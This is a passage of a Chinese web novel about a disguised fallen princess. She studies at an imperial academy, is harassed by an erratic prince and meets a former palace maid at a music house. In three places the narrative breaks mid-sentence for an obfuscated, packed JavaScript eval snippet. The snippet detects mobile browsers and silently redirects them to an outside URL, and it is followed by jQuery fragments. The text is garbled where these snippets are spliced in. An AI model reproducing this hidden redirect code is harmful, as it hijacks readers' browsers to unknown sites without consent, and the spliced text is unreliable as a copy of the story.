虽然之前浅尝辄止地分析过他的意图,但偏偏,他的行为上挑不出一丝破绽,似乎天生就是这么个行事乖张的纨绔子弟。 不过好事是,她也没有露馅。最直接的证据就是,如果对方真的发现了,可不会这么好声好气地试探。所以,唯一合理的解释就是这家伙恐怕跟自己一样,只是有点怀疑但不多。那么,这时候最合适的反应是—— 这位突受上位者垂青的“士子”脸上隐隐有些激动,但又按捺下去,瞥了一眼林自虞道:“学生不才,殿下抬爱了。” 这番表现骗没骗过顾锦幽不知道,但显然骗到了林自虞。他似乎把此刻宋始昭的行为理解成了某种不怀好意,所以他眉毛一竖,语气虽不重但内容却严厉:“望殿下深思,君子喜怒不形于色,这竖子心性浅薄,虽有见地,恐还需磨砺,方能成可用之才。” 说着,他看了一眼宋始昭。然而,他不知道,这句话正中她的下怀! 刚见到顾锦幽,她就知道她必须要去一个能够完全避开这疯批的地方,结合现实情况,最合适的地方自然就是天下士子梦寐以求之地——太学。 自古太学便是士子治学之地,从未听说过哪个皇子会进入其中。 宋始昭感觉自己演技又上了一层,她脸上一红,垂头丧气:“老师教训的是,太学补录在即,学生更应潜心苦读,磨砺心性。” 林自虞气消了几分,捻须沉吟:“嗯……知耻后勇,其志可嘉。” 成了! 宋始昭心中稍定,暗暗呼出一口气。 然而,顾锦幽最擅长冷不丁放一箭: “林老,宋兄的行径……实在令人钦佩。”黑袍公子轻叹一声,语气里竟带上了几分真诚的自省。他微微垂眸,那张总是玩世不恭的脸上罕见地流露出一丝懊恼。 “父皇常斥我行事荒唐,不通文墨,我总不以为意,今日见宋兄此番言行,方知何为‘见贤思齐’。” 他抬眸,目光澄澈地看向林自虞,又看向宋始昭,语气恳切得令人头皮发麻: “林老德高望重,掌天下文教。不知……能否允我也入太学,我当舍弃身份,只作寻常学子,追随宋兄。哪怕只熏陶几日,我也是心甘情愿的……” ……一片死寂。只有哗啦啦的雨声,像是在为宋始昭此刻内心天崩地裂的巨响,配着绝望的背景音。 真可谓,螳螂捕蝉,黄雀在后。 林自虞也愣住了,虽说以皇子身份入学太学并非没有先例,但多为年幼皇子启蒙,如顾锦幽这般年岁的……真是闻所未闻。 而且,还是主动要求…… 可他却无法反驳。因为确有其事,因为,这就是顾锦幽今日出现在这里的原因。 他头有点痛,讷讷说了句,殿下言重了,便匆匆结束了这场对话。 —— “大人。” 书房内,宋始昭有些不知该怎样跟林自虞开口,她深吸一口气,决定实话实说:“逃亡路上,我曾与二殿下有一面之缘……” 这话成功叫一直背对她而立的林自虞身形一僵,转了过来。 宋始昭自嘲一笑:“晚辈不知他是不是看出来些什么,一切皆为自保……” 林自虞微微闭了闭眼,轻声道:“你可留下破绽?” “没有。”宋始昭摇头,“所以,大人,请您相信,我并不是故意……” 林自虞沉吟片刻,对她的说辞信了几分。顾锦幽带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125636|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着平定魏国的消息归洛京已有半月,这半月里可谓“声名远扬”。谁还能喝了一夜酒错过宫门关闭的时间,回皇城直接被守卫拦住?谁还能没回来几天就成了各大勾栏的座上宾?所以忍无可忍的天家才把他扔来林府,说要自己教化…… 他开口道:“事已至此,多说无益。我想你也并无出头之意,只是……弄巧成拙罢了。我只劝你一句,殿下他性格乖张,你要处处小心。对他,恐怕讲道理行不通……” 宋始昭颇有种壮士断腕的悲壮感,回道:“谢谢大人提醒。” —— 一周后,宋始昭出现在了太学那庄重古朴的朱漆大门前。 因今日另有一位“贵客”将至,门口除却值守的学录,更立着司业傅解忧及几位博士。宋始昭识趣地退至人群边缘,垂手而立。 不多时,一辆四驾华盖马车碾过青石街面,稳稳停在了阶前。紧接着,玄色车帘被一只骨节分明的手掀起,一张分外好看的脸便出现在众人眼前。 顾锦幽心情瞧来似乎不错,下车后主动与行礼的傅解忧寒暄。司业大人面上一派沉稳,官话说得滴水不漏:“殿下屈尊莅临太学,是我等之幸。” 宋始昭内心冷笑一声。我等之幸?黑的都能说成白的,也是佩服…… 不知宋始昭腹诽的顾锦幽却笑得眉眼弯弯:“先生折煞我了,此番前来,我是真心向学,还望诸位师长不吝教诲。” 说着,顾锦幽目光看向缩在角落里的宋始昭,说:“宋兄,又见面啦~” 宋始昭拱手行礼:“殿下。” 傅解忧目光扫过他俩,接过话:“听祭酒大人提及,殿下对始昭……颇为青睐。” 这话像一颗石子投入平静湖面,几道目光瞬间聚焦过来。 众目睽睽之下,顾锦幽脸上浮起一层薄红: “司业所言极是。宋兄才思,学生仰慕不已。而且……”他故意顿了顿,将所有人的好奇心吊到顶点,才慢悠悠地、一字一顿道: “而且宋兄这张脸,这身段……真正是个令人见之忘俗的美人呐……” 空气凝固了一瞬。 几位博士讲师面面相觑,脸上满是措手不及的茫然。傅解忧常年无波的脸上,肌肉微微抽搐了一下。 宋始昭更是:???WTF,几天没见癫得更厉害了??? 5. 故人来 那日,两人均成功补录。 结束后,司业还引着他们在这所大兴的最高学府中走了一圈。 行至学舍区时,这位司业停下脚步,语气里带着歉意:“今年天下初定,陛下为广罗天下英才,连颁数道求贤诏。太学入学人数已达历年之最。如今监舍已满,”他顿了顿,看向二人,“恐怕要委屈二位了。” 言下之意,便是要他们当“走读生”了。 宋始昭自然乐见这种发展,林府与太学以一道御街相连,不过一盏茶路程,而且更重要的是,不必与他朝夕相对。 至于顾锦幽,就更是自由了,他甚至可以随意走留,不必严格按照太学学生的作息。更离谱的是,林自虞还将彝伦堂[1]的几间空屋收拾出,供顾锦幽及其仆役使用。 宋始昭表面不动声色,内心却想,这大概就是特权阶级吧…… 三日后,林自虞遣人送来太学统一的月白学子服。次日卯时,天光将明未明之际,宋始昭束发更衣,在侍女窗雪的目送下出了门。 宋始昭走在街上,虽然出发时间很早,此刻却有了一些商贩在两侧摆好小摊子。灶里的水咕噜咕噜冒出的水汽声以及小贩们热情的吆喝声,伴随着令人涎水直流的香味扑面而来。这令她心情不错。等走进太学那道朱门后,眼前呈现出的景象更是豁然开朗。 晨光中的古建筑散发出一种庄重而肃穆的气质。一条青石铺就的宽阔主道,笔直通向深处。道路两侧则是两排森森古柏,枝干虬结,古老却葳蕤。阳光从枝叶缝隙中被筛落,洛在石板上,像是缓缓流淌的光斑。 光斑在鞋面上流转,宋始昭抬头,主道尽头有一座巍峨的圆形建筑映入眼帘。它建有三层,屋顶覆一层青色琉璃筒瓦,屋檐高挑,振翅入云。建筑主体正中则高悬一块牌匾,上书“明伦堂”三字。 这是学子主要听经辩经的场所,听司业说里面设有十余间“斋”,皆用来传道授业。考虑到进来入学人数增多,可能会翻修扩建。在它的两侧是以游廊与明伦楼相连的东西两座配楼,一为进学斋,是学子居住之所;一为博文阁,专司藏书之能。 走近明伦堂,那里已稀稀落落地立了几人,其中一人瞧着眼熟,宋始昭定睛看去,发现竟是那日在亭中的许文礼。 对方也发现了她,先行了礼,态度上恭敬不少:“宋兄。” 宋始昭不是爱记恨的性子,更何况对方还先示了好,她还礼道:“许兄,” 远处在这时传来隐约的书声,混着松涛,将这方天地衬得愈发遗世而独立。 —— 辰时初,诗经讲堂。 宋始昭寻了靠后的蒲团坐下,她环顾四周心下一阵诧异,奇怪,她今天怎么没见到那如影随形的顾锦幽…… 想到这里,宋始昭就觉得自己脑袋可能坏掉了,明明,见不到他才是好事……这可能就是PTSD…… 这时,一人自外而入,手中持着书本及名册。 来人正是诗经博士赵伯识,约莫四旬年纪,面容清癯,眼角有着细微的细纹。他在讲席前跪坐后便展开名册,声音平板无波,却带着一种天然的威仪:“现在点名——” “李濯。” “学生在。” “王青茂。” “学生在。” …… 男人点完一圈,最后看向没被点到名的宋始昭,开口道:“你应当是前几日补录的其中一位,名字是?” “宋始昭。”宋始昭立即答道。 赵伯识点点头,又看向名册:“另两位呢?顾锦幽?” 这个名字一出场,空气便微妙地凝滞了一瞬。几个胆大的更是飞快地交换了眼神。 顾是国姓,而“锦”字辈,当今天家不过两人:太子顾锦澜,与那位名声在外的二皇子。 想到这里,全斋学子已经冷汗淋漓,不约而同地想,前几日那传言竟是真的…… 赵伯识又唤了一遍,他那日已随傅解忧见过顾锦幽,自然也就听过这些天这人的荒唐行径。 还是无人应答,赵伯识提笔在名册上记下“缺席”二字,笔锋干脆利落,毫无犹疑。“那么,”他继续,“孟照夏?” 然而,斋内又是死一般的寂静。 赵伯识又念了一遍:“孟照夏?” 依旧无人应答。 他的脸色迅速沉了下来,这倒不是挑软柿子捏,只是,近来入学的怎么一个比一个架子大? 一阵急促的脚步声由远及近,众人循声望去,只见一个身着宝蓝织锦长袍、腰间悬着羊脂玉佩的男人匆匆赶来。模样倒是极好,一双桃花眼天生带笑,瞧着可亲友善。只是此刻脸上汗涔涔的,不甚雅观。 “学、学生孟照夏……来迟了……”他气喘吁吁地停在堂前,拱手告罪。 赵伯识冷冷地看着他:“因何缘由?” 孟照夏被那冷脸震慑得后退一步,有些语无伦次:“博士恕罪!学生昨夜……呃……总之没注意时间,起晚了……” 赵伯识移开目光:“你先进来吧。” 孟照夏如蒙大赦,只是走近时,赵伯识忽然皱眉:“你饮酒了?” 一时间他身上淡淡的酒气飘散开来,几个学子掩口低笑起来。 孟照夏脸色一白。 赵伯识不再多言,眼皮都不抬:“博文阁今日刚入一批籍册,你且去整理,今日散学前整理妥当。”他顿了顿,声音里毫无转圜余地,“若再有下次,便不必来了。” —— 三鼓响起,宋始昭随着人流走出明伦堂。 途经西侧博文阁时,她脚步微顿。 透过敞开的窗柩,能看见那道身影还在高大的书架间来回忙碌。成堆的典籍、卷帙散落一地,几乎将他淹没。他笨拙地抱起一摞书,额角满是汗珠。 宋始昭本欲径直走过。多一事不如少一事,尤其自己处境特殊。可看着对方的模样,又想起赵伯识说一不二的性子——若真整理不完,这养尊处优的公子哥儿,怕是要成为太学史上最快被遣返的学生了。 她站在廊下,犹豫片刻,终究转身走进了博文阁。 孟照夏听到动静,抬头看过来,他的眼中闪过诧异。 “我帮你吧,孟兄。”宋始昭直接表明了来意。 两人不再多话,一个递书,一个归类。一时之间,博文阁内只闻书页翻动的沙沙声。宋始昭动作利落,思路也很清晰,地上堆叠着的书本很快被归类好,摆放整齐。 间隙里,孟照夏偷偷打量这位萍水相逢却出手相助的同窗——学子服穿在他身上略显宽大,却衬得身形格外清瘦,他的侧脸线条流畅,鼻尖挺翘,秀美异常。孟照夏感觉到自己的心脏怦怦响了几声。 “宋兄是哪里人?”孟照夏摸了摸鼻子忍不住问道。 “徐州。” “难怪!都说徐扬多才子,果然不虚。”孟照夏笑开来,嘴角现出梨涡,“谢谢宋兄!在下余杭孟照夏。今日之恩,没齿难忘!” 宋始昭觉得他虽然有点儿不靠谱,性格倒是可爱,便笑:“举手之劳,不必放在心上。” 孟照夏却一把拉住她衣袖:“宋兄定要给我个答谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125637|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机会!”他想了想,眼睛发亮:“益清阁的蔓枝姑娘,琵琶技艺冠绝洛京,今夜正好有她的场子——” 宋始昭下意识就要拒绝,但孟照夏却锲而不舍: “宋兄宋兄!就去一次吧!蔓枝姑娘那一手琵琶定让你惊艳!” 宋始昭一时间竟幻视了一条粘人的可爱大狗……她想着,反正也无事,正好熟悉一下这个世界,嘴一松便答应了。 两人出了太学,孟照夏轻车熟路地招来一辆马车。坐上车的宋始昭掀开车帘一角,第一次打量起日落西山时大兴都城的模样。 街道宽阔平整,可容数车并行。两侧更是商铺林立,旗幌招展:绸缎庄、药铺、书画斋……可谓应有尽有。道上行人摩肩擦踵,往来不绝,小贩们则高声吆喝,好不热闹。 所有的一切都如此崭新,仿佛蕴藏着蓬勃新生的力量。 新生……宋始昭喜欢这个词语,大学毕业在所有人都不看好的情况下考上S城研究生,也是基于这种对于破茧成蝶的渴望。而现在,现代的自己大概率已经回天乏术,重生在这世界中应该是老天给与她的第二次机会。 那么,她该如何开始,如何才能成为自己这个国度的王。 “到了。” 马车停稳,她听到孟照夏这样说。 宋始昭从马车上下来,一座内敛简单的庭院出现在她眼前。一进门,堂宇宽静,以花卉植物作饰。行至内院,有一中庭,上设舞台。舞台上轻纱垂落,朦胧翻飞。 青衣小厮见到孟照夏,立刻换上笑脸:“孟公子来了,雅座一直给您留着呢!” 便被引至二楼的一间清静雅间,孟照夏皱着眉头问,怎么不是正对着的那一间。 那小厮讪笑一声,只说,也有了贵客,还望公子海涵。 孟照夏性格随和,也不再追究。一侧的宋始昭看着他熟络地几样精致小菜,后知后觉地察觉,这家伙看来是个阔少…… 玉盘珍馐陆续被端上来的时候,一位女子怀抱琵琶,自舞台一侧款款登上舞台。 她约莫双十年华,身着月白襦裙,发髻简单绾起,斜插一支白玉簪。容貌虽算不得绝色,可眉宇间那股疏离清冷的气质,却让人过目难忘。 这……这人…… 一瞬间,宋始昭的脑海中猛地出现许多画面。画面中的人也有与这人相同的面容,只是不似这般清冷。那时,她会嘴角含笑地对自己行礼,唤自己,殿下…… 宋始昭心神剧烈震荡,与对方目光相交的瞬间,后背更是冷汗直冒,她……她分明就是魏蘅母亲宫里的贴身侍女,濛霜。她怎会出现在此处?! 益清阁另一间雅座内。 两位华服公子正兴致勃勃地看着下方的舞台。苏蔓枝缓缓登场的时候,其中一位声音变高:“阿幽,快看,这便是蔓枝姑娘。” 言罢,黑袍公子看向舞台,眼角两颗痣缓缓游动:“本该治你耽误本王正事的罪……” “正事?阿幽的正事不就该是和我们一起,今朝有酒今朝醉吗?”一位摇着扇子的俊朗公子笑嘻嘻地瞎掰。 他是顾锦幽幼时的伴读,当今宰相夏品余的四子,夏思意。 顾锦幽也不生气:“还是思意懂我。不过,今晚是再不能错过回宫时间了……” 这时,沈棹之从门外走进,弯腰在他耳侧说了些什么,他原本懒洋洋的眼神里精光一现,他看了一眼舞台正中央的苏蔓枝,“但今日阁内的美人,深得我心呀……” 颇有些醉翁之意不在酒的意思, [1]彝伦堂:祭酒办公的地方 6. 不请之客 “那,阿幽,是这益清阁的美人合你的意,还是‘秦时月’的?” 顾锦幽一番美人论后,夏思意捏着酒杯笑得玩味。 顾锦幽漫不经心道:“思意明知故问,生年不满百,为乐当及时呀[2]~” 言下之意,自当要珍惜眼前。 “我可不信!即便是在千里之外的洛京,我可是都听说朔北的姑娘跟我们洛京的不一样,您没去寻过?” 顾锦幽熟悉这讲话的调调,他看过去,果然是姚漼。 其他人立刻站起来,叫他:“阿漼!你怎得这般晚?!不成不成,这次可得罚你。” 姚漼性格豪放,也不多说什么,径直拿起桌上的空酒杯。待到夏思意给他斟满,他仰头一饮而尽,随后大咧咧坐到顾锦幽身侧。他跟顾锦幽关系好,没个正形不说,还张口就抱怨:“上面非得叫我去监工,要不然早就过来了。老子可是禁军的!居然还得管这劳什子事?” “监工?”夏思意稍怔,随即了然,“太子为陛下寿辰督建的那座承天观?” 姚漼冷笑一声,又喝尽一杯,杯盏重重撞在案几上,发出沉闷的响声:“快别提了!自打爷从朔北回来,东宫那边就处处盯着。”他压低声音,却压不住那股愤懑,“我不过晚到半刻,那帮小人便阴阳怪气,话里话外说我懈怠太子要事!” 席间霎时静了一瞬。只听雅间外琵琶声急切高亢,似有杀伐之意。顾锦幽唇边笑意未变,他给姚漼嘴巴里塞了一块玉糕:“阿漼醉了。太子殿下为国操劳,你我做臣子的,分忧本是应当。” 夏思意眸光微动,立刻接过话头:“太子也是顾虑着陛下龙体才修建这承天观,这等紧要工程,谨慎些也是应当的。” 姚漼到底也是世家大族出身,虽不受家里重视,但耳濡目染也知刚刚那番话不妥,咳了一声道:“爷你可还没回我?朔北的姑娘怎么说?” 顾锦幽似笑非笑:“我就算讲了,阿漼你也只是雾里看花,怎样,下次跟着一起过去瞅瞅?” 一听他这般说辞,夏思意兴趣立即少了几分,这年头,谁愿意放弃旖旎的洛京去那苦寒的边陲之地呢?唯姚漼没什么眼力见儿,仍旧兴致盎然:“可是爷你说的!” 顾锦幽自然没当真,这时,夏思意凑到他耳侧轻轻出声:“日子还没定?” “啊。”顾锦幽应着,眼神有些游离,“为了些事儿又往后推了一月。” 夏思意一愣:“这次怎得……”顾锦幽自打跟着谢玄石后就不爱回这地儿,只说浑身不舒坦,此次回来也只是因为平定魏国的战果实在重大,谢玄石镇守边关离不开,只能他回来。又想到他最近的动作,夏思意语气带了些玩味:“莫不是,太学里也有美人?” 顾锦幽挑挑眉毛:“是当如何?” 夏思意也笑:“呵,不如何。只是阿幽啊阿幽,你这朝秦暮楚的劲儿,再美又能在你眼中逗留多久呢?” 顾锦幽不置可否,他眯着眼睛,在复又舒缓清澈的琵琶声中道,“美人嘛,只要是我这双眼见过的,那自然是都不会忘的……” —— 一曲终了,宋始昭仍有些戚戚。 苏蔓枝这一手琵琶确实惊艳,纤纤玉指在弦上轻拢慢捻,或轻柔,或急切,余音在整个益清阁中碰撞、聚拢,而又缓缓消散。哪怕是不通乐理的宋始昭都被深深吸引。 “如何,宋兄?” 孟照夏的声音传过来,宋始昭的目光从缓缓离开舞台的苏蔓枝身上收回,看向了这位同窗。他的表情中带着一股“快夸我”的得意,这让宋始昭有些哭笑不得。她便用言语抚摸了一下可爱小狗的头:“孟兄好眼光。” 孟照夏实在太好哄,立刻美滋滋地笑了起来,嘴角梨涡浅浅:“那是!”不过很快,他的脸上又染上几分失落,似是想起了烦心事,“宋兄,实不相瞒,今日若不是你,我还不知会整理到何时呢……” 宋始昭安慰道:“无事,初来乍到,难免犯错。只是,昨日你到底做了何事竟闹得今日迟到?” 孟照夏有些不好意思,摸了摸鼻子,犹豫了一会才说:“这几日补录上了,心情正好,想着今日要入学,昨夜便在樊楼宴请了所有宾客,结果……就贪杯了……” 宋始昭本来漫不经心地“嗯”了一声,可回味了一遍这人刚刚的言论,内心忍不住“啊???”了出来,她嘴角抽搐,喃喃道:“樊楼?” 哪怕是个寻常酒家,能做到这程度的大概率经济实力都非常雄厚,更不要说,这人的衣着及排场就说明了他出入的场所就不可能是个便宜场所。 孟照夏浑然不觉,乖乖点点:“是啊。”顿了顿,他又露出懊恼神色,“瞧我,刚刚又在想一些充满铜臭味的事了,我爹就跟我说,跟相处甚欢的友人千万不能扯上钱这件事,更何况宋兄仙人之姿,想必冰清玉洁,不染纤尘,倒是照夏亵渎了!” ……你想了什么亵渎的事?是想用钱砸我吗? 那么亵渎吧,求亵渎!!!我想在钱上打滚好吗??? 宋始昭干笑一笑,内心一排弹幕飞快掠过,但为了维持孟照夏嘴中“仙人之姿”的人设只得端起杯盏,浅抿一口。 可惜再强大的忍耐力还是因为孟照夏一句话破功了,宋始昭一口茶差点喷出来: 只见孟照夏大手一挥,豪气干云:“这样吧,今晚阁内宾客的茶饮我便替蔓枝姑娘和宋兄请了!” 在一旁伺候的小厮先是一愣,随后涨红了脸,激动地语无伦次:“好嘞好嘞,孟公子!” 而一旁的宋始昭突然感觉到自己的行为很小丑。 有些人还在烦恼着怎么挣第一桶金,而有些人,出生就已经躺在钱山上了…… 孟照夏的豪爽之举很快引来苏蔓枝的青眼相待,她遣来侍女,为他们奉上自制的桂酒。侍女侃侃介绍,姑娘去年摘了桂花,佐以生姜、蜂蜜、米酒等料,埋入地下酿造[2],前段时间刚取出来,特意请两位公子品鉴。 宋始昭喝下一口,只觉桂香四溢,甘醇爽口。眼角余光见孟照夏也是频频点头,喜笑颜开。 正喝着,那侍女走至宋始昭面前,递上一方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125638|196055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅绿丝巾,柔声道:“宋公子,我家姑娘说,感谢公子美意,想邀公子顶楼一聚,不知公子可否赏光?” 孟照夏满脸歆羡:“蔓枝姑娘很中意你呢~她可是极少邀人入阁的~” 宋始昭下意识便想推拒道:“姑娘是不是误会了,还是孟兄你……” 孟照夏却笑嘻嘻地摇头:“嘿嘿~这就当是我送予宋兄的谢礼吧~” 谢礼啊…… 宋始昭苦笑一声,只得起身。跟在侍女身后,她踏上楼梯,拐过一角,最终被引到一间名为“净植”的屋前。 屋子内部以一道珠帘隔开,陈设雅致素净。宋始昭一进入,便见正坐在内屋梳妆台前对镜理鬓的女子缓缓侧过身来,那张霜一般的清冷面庞上倏地涌出春水般的温柔,她眼中泛着泪光,连忙起身,脚上一个踉跄,竟是要跪拜。 “殿下……” 声音颤动,带着些哽咽。 宋始昭快步上前,扶住她急道:“姑娘,不可!” 此话一出,苏蔓枝浑身一凛,不再执拗。那一瞬间,那个跟在母亲身旁的侍女形象再一次出现在宋始昭的眼前。 两人便在里屋低声交谈。这里终究人多口杂,很多话不便多说。当问到大兴的兵马是否真的攻入皇宫时,看到面色煞白的宋始昭,苏蔓枝泪水夺眶而出,肩头微微颤抖。 宋始昭拍拍她的肩膀,以示安慰,苏蔓枝轻抹眼角,又问:“殿下又是如何逃脱?可受苦了?” 宋始昭隐去关键,择了一些告知。 当苏蔓枝听到,竟是当今祭酒寻来,并将宋始昭藏于府中时,她也不由愣住,随后回忆起什么似的,轻声说:“竟是这般……看来这大兴也不尽是豺狼之辈……” 宋始昭一怔:“怎么说?” 苏蔓枝勉力一笑:“听来阁内的士人闲聊时提及,祭酒年轻时游历诸国,也去过魏,定是那时才有了因缘……” 苏蔓枝说着,紧紧握住宋始昭的手,她的目光坚定,盯着宋始昭低声但却铿锵:“殿下……殿下!得知殿下尚在,比什么都好……魏国复兴之大任如今落在殿下一人之身,奴定当……拼死相随!” 宋始昭浑身一僵,那种在初遇苏蔓枝时便若隐若现的模糊感觉在此刻终于清晰——或许,她这一生都再也无法与魏蘅这个身份割离…… 就在这时,门口突起一声惊呼,正是苏蔓枝的侍女:“公子……公子!姑娘正在会客,万不可……” 然而,对方十分强硬,话音未落,那扇门便被大力撞开。一股浓烈酒气扑面而来,宋始昭望去,只看到一个熟悉的身影。 来人一袭黑袍,面如冠玉,只是脸上醉醺醺的,瞧来放浪。 他身形不稳地往里踏了几步,目光落在宋始昭时,那张俊脸上扬起一阵困惑,随后,那困惑烟消云散,他笑得分外灿烂动人: “如今的……嗝……兔儿爷……竟生得如此标志……” 宋始昭:……………… [1]出自《古诗十九首》。 [2]苏轼酿酒的方子。 7. 以毒攻毒 这满口胡言乱语的醉鬼又往前踏了一步,借着昏黄的灯光,他眯着眼睛,终于看清屋内人的面容。他似乎愣了一下,原本颇有些轻浮的语气收敛几分,嘴中念念有词:“哎呀……这……这不是……不是……宋兄么……怎么会在此处见到?” 人至少,不能,或者说,不应该跟一个醉鬼计较…… 宋始昭僵硬地笑了笑,勉强保持住体面,但又实在懒得同这醉鬼周旋,便抛回去一句:“就是呢,怎么会在此处见到呢?” 最高级的迂回,就是用问题回答问题。 一旁的苏蔓枝早已敛了方才对宋始昭的温柔,重新恢复成那副清冷疏离的模样,她目光扫过顾锦幽,淡淡道:“公子想与蔓枝结识,是蔓枝的荣幸,只是公子这般醉态,恕蔓枝无法招待。蓝月,送客罢。” 洛京中人尽皆知,益清阁的苏蔓枝性情冷傲,但凡入不了她眼的,纵是权贵,也绝不半分迁就。偏偏这份冷傲,让她声名更盛,加之那手绝技,更是成了不少文人雅士争相追捧的对象。 她的话音刚落,门外侍女便携两位壮丁自外而入,上前就要架起这孟浪的闯入者。而顾锦幽似乎醉得更深了,眼神朦朦胧胧,看着接近而来的人有些不明所以。 可就在仆役刚要触碰到顾锦幽时,屋外忽然传来一道声音。 “蔓枝姑娘——” 除了宋始昭,屋内众人似是都识得这声音,随后,一位捏着把扇子、踱步而来的公子便带着身后之人踏入阁中,一起护住顾锦幽。 正是夏思意及姚漼。 苏蔓枝面上一愣,她自然识得这朝中权贵的四子,纵使不受宠,但总要给他父亲三分薄面。苏蔓枝眸光微转,朝侍女递了个眼色,那侍女素来机灵,立刻带着仆役们悄声退了出去。 夏思意低声叫了几句“阿幽”,对方似是完全醉过去了,并没有任何反应。姚漼见状一把扶住顾锦幽,夏思意脸上则挂上无懈可击的笑容看向苏蔓枝:“蔓枝姑娘,我家公子酒后失态,叨扰了姑娘,还望您见谅。” “原来是思意公子的友人。”苏蔓枝淡淡应着,但听语气间也是松了口。 夏思意转而看向宋始昭,拱手行了一礼,歉意更浓:“这位兄台,万请见谅。我家公子方才还与我们说笑,转眼间便没了踪影。总归是我的错,不该在他面前夸赞蔓枝姑娘的琵琶妙音,公子本就喜好音律,这才唐突了。” 这人实在很会说话,一件本来唐突无礼的事情到他嘴里过一遍倒成了无心之举,甚至是风月之举。 “今日之事,全是我家公子的不是,等他醒来,定让他亲自找兄台你赔罪。” 嚯,亲自赔罪。 宋始昭哪会相信这满是官腔的场面话,从那夜在密林里被顾锦幽追杀时她就知道,这世道可没什么公平可言。但面上,她的笑容滴水不漏,毫无破绽:“无妨,公子也是无意。” 夏思意若有所思地看了一眼她,又客套了几句,才与姚漼一左一右,半扶半架着还在嘟嘟囔囔的顾锦幽退了出去。 屋内霎时静了下来,只余她与苏蔓枝两人。 苏蔓枝走到窗边,望着楼下那三人离去的背影,轻声道:“殿下可识得那位巧言善辩的公子?” 见宋始昭摇头,又道:“他是当朝宰相的四子夏思意,能让他护着的混账……身份恐怕不一般。” 果然不是寻常女子。宋始昭顺便便明白过来她为何会出现在此处,还做了这益清阁的魁首。她缓缓呼出一口气,透了半分底:“那黑袍公子名为顾锦幽,我已与他在林府,有过一面之缘。” 出乎意料地,听到这个名字苏蔓枝并未露出讶异之色,相反,宋始昭却看到对方目光中闪过一道异常的冷光。她心中一凛,以为自己看错了,再去寻时,那冷光已经彻底没了踪迹。 —— 第二日,明伦堂中。 斋舍内坐了大半学子,最前方则是赵伯识。他正点名,堂内静悄悄的,只闻纸页轻响与此起彼伏的应诺声。 孟照夏坐在宋始昭身侧,看着她眼下青黑,凑过来小声关切:“宋兄昨日没歇好?怎地这般憔悴?” 总不能说昨夜梦里全是某人那张脸,和苏蔓枝眼底那道异常的冷光,搅得她一夜心神不宁,宋始昭只得含糊扯了个由头:“昨夜与蔓枝姑娘相谈甚欢,回府晚了。” “哦——”孟照夏拉长了调子,脸上扬起促狭笑容,他压低声音,“我就说嘛,蔓枝姑娘的姿容品性,宋兄定是欢喜的。” 宋始昭总觉得孟照夏似乎给她安了个什么人设,但又不好反驳,只好顺着话头应了两句。 这时,传来赵伯识的声音:“宋始昭。” “学生在。”宋始昭立刻敛了神色,起身应道。 赵伯识目光扫过孟照夏,见他今日倒是安分守己,脸色稍霁,指尖继续划过名册。可当他念到下一个名字时,方才稍缓的面色瞬间又覆上一层寒冰:“顾锦幽。” 堂内静无声息,无人应答。 虽说堂内气氛陡僵,但宋始昭心头却舒了口气。她向来不怕难缠的人,哪怕对方胡搅蛮缠,只要自己行得正坐得端,便无把柄可抓,可顾锦幽偏是个例外——他心思难测,步步试探,更重要的是,在这样一个时代他还稳居高位。所以跟他硬碰硬,并不划算。 只是,她的这份舒心没持续多久,就在赵伯识翻开书卷,讲了几句《王风?君子于役》时,斋舍的门便被轻轻推开,而后,在一众看过去的目光中,一袭黑色锦袍的公子出现在堂前。 赵伯识看过去,目光沉沉:“来者何人?” 顾锦幽这次倒没戏瘾大发,姿态甚至算得上恭谨:“学生顾锦幽,来迟了,望博士恕罪。” 此言一出,堂下众人表情精彩纷呈,一来感叹他竟真来了。二来,他们都想起昨日犯了同样错误的孟照夏。 宋始昭同样有看戏的心态,昨日那事她便觉得这赵伯识性格古板,说一不二,但顾锦幽偏偏一而再再而三的逾矩。 果然,如宋始昭所想,赵伯识丝毫没有顾及对方皇室身份,直言道:“何故来迟?” 那顾锦幽心理素质极佳,说谎说得行云流水:“昨日突发急事,未能告假,是学生之过。” 宋始昭彻底乐了,这话根本就是个推托,言外之意便是,无可奉告。其实,若换成会察言观色的他人,未必不会顺着台阶而下,但是眼前这人是赵伯识,只听他沉默片刻,便道: “徭役徭役,讲这《君子于役》绕不开这二字。在大兴,勿论君子平民,皆要服役。既如此,昨日罚那无故迟到的竖子博文阁理书,今日殿下也当相同,殿下有异议否?” 瞬间,宋始昭心中一阵舒爽,嘴角扬起一丝细微的、连她自己都未曾察觉的幸灾乐祸。她深知,她的性格弱点便 